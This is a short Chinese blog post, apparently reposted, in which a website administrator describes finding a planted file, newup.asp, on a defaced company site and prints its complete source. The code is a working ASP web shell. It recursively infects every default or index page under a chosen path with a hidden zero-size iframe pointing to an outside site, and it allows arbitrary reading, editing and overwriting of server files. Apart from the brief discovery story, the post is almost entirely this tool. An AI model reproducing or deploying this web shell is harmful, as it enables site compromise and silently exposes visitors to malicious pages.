挂马的ASP码

来源：互联网发布：工作日志记录软件编辑：程序博客网时间：2024/04/30 15:26

公司网站内容被撰改，开始怀疑是 SQL驻入，但是刚把网站文件一搜索。汗！
里面目录下有个
/aspnet_client/system_web/1_0_2914_16/newup.asp
打开一看：好毒啊！不知道是谁放进来！！
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title>By S.D.I-E路</title>
S.D.I--核心专用 shell
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
<form action="<%=ASP_SELF%>" method="POST">
输入要挂马的路径:
<input type="text" name="fd" size="40">
<input type="submit" value="开始">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function
If IsPattern("[^ab]{1}:{1}(//|//)",s) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If
Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub
Sub step_all(agr)
retVal=IsPattern("(//|//)(default|index)/.(htm|html|asp|php)/b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br/>
<%End Sub%>
<%
Sub step2(str2)
addcode="<iframe src=http://www.00sj.com width=0 height=0 frameborder=0></iframe>"
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action="<%=ASP_SELF%>" method="POST">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="SAVE">
</form>
<%Else%>
<p>文件不存在.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "<p>文件保存成功.</p>"
End Sub
%>
</body>
</html>